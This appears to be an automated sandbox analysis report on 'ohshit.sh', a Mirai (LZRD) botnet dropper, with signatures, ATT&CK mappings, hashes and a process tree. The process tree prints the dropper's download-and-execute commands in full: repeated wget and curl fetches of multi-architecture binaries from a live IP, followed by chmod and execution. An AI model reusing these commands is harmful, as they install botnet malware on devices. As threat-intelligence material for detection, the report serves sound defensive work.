mirai | 288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23-12-2024 05:05

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General

Target

ohshit.sh
Size

3KB
MD5

e0ccd217979419469e913cbef10872f3
SHA1

6bbef022dcf450af81bee90522e4c82069c84064
SHA256

288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71
SHA512

38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
694	chmod
864	chmod
761	chmod
774	chmod
846	chmod
852	chmod
787	chmod
826	chmod
840	chmod
834	chmod
858	chmod
683	chmod
747	chmod
796	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/WTF	684	WTF
/tmp/WTF	695	WTF
/tmp/WTF	749	WTF
/tmp/WTF	762	WTF
/tmp/WTF	776	WTF
/tmp/WTF	788	WTF
/tmp/WTF	797	WTF
/tmp/WTF	827	WTF
/tmp/WTF	835	WTF
/tmp/WTF	841	WTF
/tmp/WTF	847	WTF
/tmp/WTF	853	WTF
/tmp/WTF	859	WTF
/tmp/WTF	865	WTF

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-8.dat	upx

Checks CPU configuration 1 TTPs 14 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 48 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/590/cmdline	WTF
File opened for reading	/proc/606/cmdline	WTF
File opened for reading	/proc/655/cmdline	WTF
File opened for reading	/proc/809/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/869/cmdline	WTF
File opened for reading	/proc/830/cmdline	WTF
File opened for reading	/proc/867/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/660/cmdline	WTF
File opened for reading	/proc/870/cmdline	WTF
File opened for reading	/proc/871/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/654/cmdline	WTF
File opened for reading	/proc/823/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/611/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/653/cmdline	WTF
File opened for reading	/proc/656/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/608/cmdline	WTF
File opened for reading	/proc/610/cmdline	WTF
File opened for reading	/proc/873/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/875/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
691	curl
693	cat
687	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:656
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:670
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:681
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-b89835efbaf0484f9a11faa564101d3c-systemd-timedated.service-VErtWR WTF
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:684
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:687
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:691
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:693
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-b89835efbaf0484f9a11faa564101d3c-systemd-timedated.service-VErtWR WTF
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:695
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:697
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:746
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-b89835efbaf0484f9a11faa564101d3c-systemd-timedated.service-VErtWR WTF
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:749
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.i468
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:760
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-b89835efbaf0484f9a11faa564101d3c-systemd-timedated.service-VErtWR WTF
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:762
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.i686
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:773
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-b89835efbaf0484f9a11faa564101d3c-systemd-timedated.service-VErtWR WTF
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:776
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:785
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-b89835efbaf0484f9a11faa564101d3c-systemd-timedated.service-VErtWR WTF
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:788
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:789
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:795
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-b89835efbaf0484f9a11faa564101d3c-systemd-timedated.service-VErtWR WTF
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:797
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:824
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:825
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:827
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm5
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:832
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:833
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:835
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm6
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:838
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:839
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm7
  2⤵
  PID:843
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:844
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:845
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:847
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.ppc
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:850
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:851
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:853
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.spc
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:856
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:857
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:859
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.m68k
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:862
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:863
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:865
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.sh4
  2⤵
  PID:867

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
23KB

MD5
366837c461677cb1b37924604fe50564

SHA1
ce442f4c57322b7dbafcaebd37cb0ee531d0ea4d

SHA256
c28510d75f73788f786fb0e5f14f3b7d6e349e0eeaa5922c6743be66824b4c4f

SHA512
4434b96a2931b0bbf39863cecd0c924e64e8d051b9277ae7a86ed151d60bdebfaf2f7b749ec6cad8a41000a3acb268adaea9f42868f5617a52f8053efad79840

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/tmp/WTF

Filesize
105KB

MD5
97a63a655202fc4ceb0f4a4957711dd4

SHA1
ea5a84a5b260cacd1107e9bc05351ec52895e938

SHA256
6d13de91a88aac152d7aeffedecc20414ed86d1c6cc58b5cc2bc7a439c57f620

SHA512
d5463c0d4274bd6de9ea25d5ebd99afce000b2e3afad63099176ba49a7c80972244b259b3b438277acb997d3b612e52f5eaa998da2db0ea87daddd3e203b0a89

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/tmp/WTF

Filesize
232B

MD5
7dfb9a4219d20c6babc4877451844e3c

SHA1
8b56a18d01c00f757df29faeb95b2711ecd3cd18

SHA256
9177a352dcbf8875ebb2e22e682760d47faa4d77398add153dd7084e7568c5bc

SHA512
7355451c27cd2fe7e03af772a8911fff879e64b04c8e002d4335ff890957a04e611e444131ddab6e171e0a21a72cbbe75f9b5cc338a72d2d24ec6d71d59998c9

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/tmp/WTF

Filesize
24KB

MD5
87b8771a708088e3398efb2966205acc

SHA1
a33d662cad4025f6ee07f8432dd760e1bc3d31a5

SHA256
73b739b663e3df9052b243a8acc69675ee8a423bfaf4baeb1b246182e70b18c6

SHA512
d65a0254aa6ca4a9063a3245de02f92f324680c0b31020811841f4257fd2f09df1361abfee820f83b2d7d3d96588f9d1746a12ea207de92157632fd9daa98f31

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
cfdee595514f89c9e1ca4c3c26837bb6

SHA1
726f957189f0ce2da9008987aaa7f51453ede884

SHA256
4940c3107a34d4b65f81e5e5e7a54f31fce9417fe74d18dd6e6b104d07197a3d

SHA512
07cd565d04eeef92d3bf0613413d2c63bc045d6093bb048118b3f80254701c9aaef7dac444dc39ced7c2297754d7dbe1da4f808a6e2e87727f9272b436fea226

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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